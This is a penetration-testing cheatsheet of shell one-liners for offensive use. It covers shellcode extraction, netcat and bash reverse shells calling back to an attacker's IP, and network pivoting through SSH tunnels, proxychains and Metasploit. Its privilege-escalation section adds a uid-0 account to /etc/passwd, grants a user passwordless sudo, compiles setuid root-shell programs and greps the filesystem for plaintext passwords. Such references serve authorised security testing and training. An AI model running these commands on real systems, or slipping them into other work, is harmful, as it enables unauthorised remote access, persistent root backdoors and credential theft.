Pen Test cheatsheet by D7X pivoting curl imap sed shells privilege escalation pty Web Application / SQL Injection
Generate all ASCII characters hex values using python python -c 'for x in range(0xff+1): print "%02x" % x,' | sed 's/ /\\x/g' | sed 's/^/\\x/' python -c 'for x in range(0xff+1): print "%02x" % x,' | sed 's/ /\\x/g' | sed 's/^00//' \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff useful to test for bad characters, do not forget to put it in (" ") if using it multiline Generate shellcode from binary file PROG=<BINARY>; objdump -d $PROG | sed -n '/section/,$p' | sed '1,3d' | cut -d $'\t' -f2 | tr -d '\n' | sed -e 's/[^0-9a-f]//g' | sed 's/.\{2\}/\\x&/g' | sed 's/\(.*\)/"\1"\n/'
commandlinefu alternatives: objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" Get shellcode byte offset (locate byte offset at \xAA\xBB) objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed -n -e 's/\\xAA\\xBB.*//p' | grep -o '\x' | wc -l 28 Count shellcode bytes echo '\x01\x02\x03\x04\x05' | grep -o '\x' | wc -l 5 Convert hex to ascii echo -n "0x41" | xxd -r A Use 0x414243... for a full string Convert ascii to hex digit echo -n "A" | xxd -p 41 Convert ASCII(wireshark dump) string to shellcode echo '925093c5925093c529c983e9afe8ffffffffc05e81760e40' | sed 's/[a-z0-9]\{2\}/\\x&/g' \x92\x50\x93\xc5\x92\x50\x93\xc5\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x40 useful for porting tcpdump/wireshark strings to a shellcode variable Convert ASCII(actual text) string to shellcode echo 'PromiseLabs' | xxd -p | sed 's/.\{2\}/\\x&/g' \x50\x72\x6f\x6d\x69\x73\x65\x4c\x61\x62\x73\x0a converts text to its shellcode representation add | tr -d '\n' at the end to avoid wrapping on long texts Generate a string of X length characters python -c 'print "A"*30' for i in $(seq 1 30); do echo -n "A"; done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA useful when modifying offsets in a non-python language Find ASCII string in binary data strings <filename> GetStringTypeA Count characters in a string A="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1A"; echo ${#A} python -c 'print len("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8")' 37
useful for finding offsets Compile windows exploit code under linux environment using mingw $(uname -m)-w64-mingw32-gcc -o compiled.exe in.c -lws2_32 -lws2_32 to include the win32 winsock library

(Reverse) shell techniques Pentestmonkey's complete reverse shell cheatsheet

netcat backpipe mknod /tmp/backpipe p; /bin/sh 0</tmp/backpipe | nc <attacker's ip> <port> 1>/tmp/backpipe to be run on victim's box But, What If You Have Raw Execution and You're Not in a Shell? /bin/sh -c "/bin/sh 0</tmp/backpipe | nc <attacker> 443 1^gt;/tmp/backpipe"
sans netcat without -e article
bash reverse shell bash -i >& /dev/tcp/<attacker's ip>/443 0>&1 to be run on victim's box, useful when missing filewrite on the target system may require sudo privileges


netcat backpipe mknod /tmp/backpipe p; nc -l -p 80 0<backpipe | nc <target> 80 1>/tmp/backpipe to be run on the pivot server, supports one connection at a time Ncat proxy ncat --listen --proxy-type http to be run on the pivot server, supports multiple connections usually used with proxychains for non-socks aware tools Examples: # proxychains nmap -PN -sT; nikto -host -useproxy http://<pivot>:8080; w3af set http-settings; for burpsuite add upstream proxy rule SSH local port forwarding ssh -L local_port:<target>:<remote_port> ssh -L 80: alice@ pivot host has to have a ssh daemon running, to run an nmap scan on the defined port use localhost set as a target; for nikto use -useproxy option; burp -> add upstream proxy w3af_console -> set_proxy_port and set_proxy_address to; metasploit -> set RHOST to 127.0.01 and RPORT to the defined port SSH Dynamic port forwarding ssh -D address:port -f -N ssh -D -f -N alice@ to be run on the attacker's box, runs as a SOCKS4/SOCKS5 proxy server and redirects anything, not port dependent; for tools which are not socks-aware use proxychains SSH tunnel over HTTP Proxy ssh -o "ProxyCommand=corkscrew 3128 22" sara@ ssh -o "ProxyCommand=corkscrew 3128 22" sara@ CMD use to connect to ssh of using its own squid or proxy HTTP tunneling SSH Through or Over Proxy Proxychains proxychains nc 80 for non-"socks aware" tools, usually used as a companion to ssh dynamic port forwarding; proxychains.conf configured as socks5 on 8080 Non-socks aware apps: nmap, nikto, w3af, metasploit Metasploit msf(module)> route add 1 meterpreter> run autoroute -s msf (auxiliary/server/socks4a)>set SRVHOST (acts as a socks server) limitations: only TCP packets, msf socks module requires port forwarding to be enabled msf(module) - non-preterpreter, use within all msf modules meterpreter - meterpreter-based, use only within post modules Copy files via rsync rsync --rsh='ssh -p22000' <source folder> -r Use when outbound tcp traffic is disabled on all ports by firewall and scp is permissionless

curl curls' reference

curl with POST curl -d "a=b" <url> curl --data "va1=p&var2=" <url> curl with POST (urlencoded) curl --data-urlencode "var1=p&var2=" <url> curl multipart/form-data (file upload) curl -F "var=p" -F "filevar=@path/to/file.ext" <url> to specify the content-type explicitly: -F "filevar=@file;type=image/jpg" curl with custom headers curl -H '<Content-Type: application/x-www-form-urlencoded">' -H '<header>' -H "Transfer-Encoding: chunked" for chunked requests curl with spoofed user-agent / referer curl -A '<USER_AGENT>' -e <referer> <url> curl --user-agent 'A' --referer 'R' <url> curl with binary payload curl --data-binary <"@path/to/file"> <url>

curl imap requestsimap queries

imap list folders curl "imap://target" --user user:password [-k] * LIST (\HasNoChildren \Sent) "/" Sent * LIST (\HasNoChildren) "/" INBOX use -k or --insecure for insecure SSL requests imap read message curl "imap://target" --user user:password --request "Examine Inbox" [-k] curl "imap://target/Inbox;UID=ID" --user user:password [-k] * OK [PERMANENTFLAGS ()] Read-only mailbox. * 1 EXISTS *** Subject: *** From: *** To: *** X-Mailer: Message-Id: <ID@host> Date: *** use -k or --insecure for insecure SSL requests

sed / general replacements

remove last line using sed sed -i '$ d' <file> strip lines starting with # using sed sed '/^#/ d' <file> add | sed '/^\s*$/ d' to remove blank lines as well sed -e '/^#/ d' -e '/^\s*$/ d' <file>

Privilege Escalation g0tmi1k's guide

Add new suid user echo "PromiseLabs::0:0::/root:/bin/bash" >> /etc/passwd Passwordless accounts do not always work and depend on the systems' configuration If this is the case see the next one Add new suid user echo 'PromiseLabs:$6$jF5r28kmadAKaeW$yUaUDz6vsMcO4.Hv2Rdn4Y9aMSVKHreTX8TOd7Zzirxx8rHeQRXLfdfutavFq JlFXVv4kysSqs/c9JkpGIKsm/:0:0::/root:/bin/bash' >> /etc/passwd Use '' (single-quotes) as otherwise the $ symbol would not be interpreted properly sha-512, password 123456. To generate use mkpasswd 123456 -m sha-512 Add user to sudoers group (no password) echo 'PromiseLabs ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers PromiseLabs states for the username To bring to root privileges type "sudo su" setuid C program #include <unistd.h>
#include <sys/types.h>
main() { setuid(0); setgid(0); execvp("/bin/sh", NULL); }
set uid & gid to 0 and spawn /bin/sh to compile as a 32-bit static binary: gcc -o setuid setuid.c -m32 -static useful when you are able to set an sgid bit setuid C program #2 #include <unistd.h>
#include <sys/types.h>
main() { setuid(0); setgid(0); char *argv[] = { "/bin/bash", "-p", NULL }; execvp("/bin/bash", &argv); }
set uid & gid to 0 and spawn /bin/bash -p to compile as a 32-bit static binary: gcc -o setuid setuid.c -m32 -static useful when you are able to set an sgid bit Unhandled / Insecure File Permissions find / -group GROUP 2>/dev/null find files belonging to a group find / -type f -user root \! -group root 2>/dev/null find files belonging to root but of a different group find / -type f -user root -group GRP 2>/dev/null find files belonging to root and group GRP find / -group GROUP A -o -group GROUP B 2>/dev/null find files belonging to a user either from group A or group B (OR condition) find / -perm /u=s,g=s 2>/dev/null sgid bit set to either user or group find / -perm /2000 -type f 2>/dev/null find all files with sgid bit set use /4000 for all SUID files find / -type f \( -perm /2000 -o -perm /4000 \) -exec ls -l {} \; 2>/dev/null search for permissions with either 2000(sgid on group) or 4000(sgid on user) and list all permissions on that file use /6000 to combine (sgid both on user and group) find / -type f -user root -perm -o+w -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null search for writable files owned by root and list all permissions on that file excludes the /proc directory -perm -002 could be used as an alternative Finding passwords in plain-text find /etc /home /var /usr/share \! -group root -type f -exec grep -Iq . {} \; -print0 2>/dev/null | xargs -0 grep -in "password"
/home/PromiseLabs/password.txt:4:password : UnsecurePassword
searches for files located in /etc, /home, and /usr/share containing the string "password" excludes the the files owned by root

pty Upgrading simple shells to fully interactive TTYs Spawning a TTY Shell Post-Exploitation Without A TTY

python python -c 'import pty; pty.spawn("/bin/bash")' bash /bin/bash -i /bin/sh -i echo os.system('/bin/bash') script script -qc /bin/bash /dev/null perl perl -e 'exec "/bin/sh";' exec "/bin/sh"; ruby exec "/bin/sh" vi :!bash :set shell=/bin/bash:shell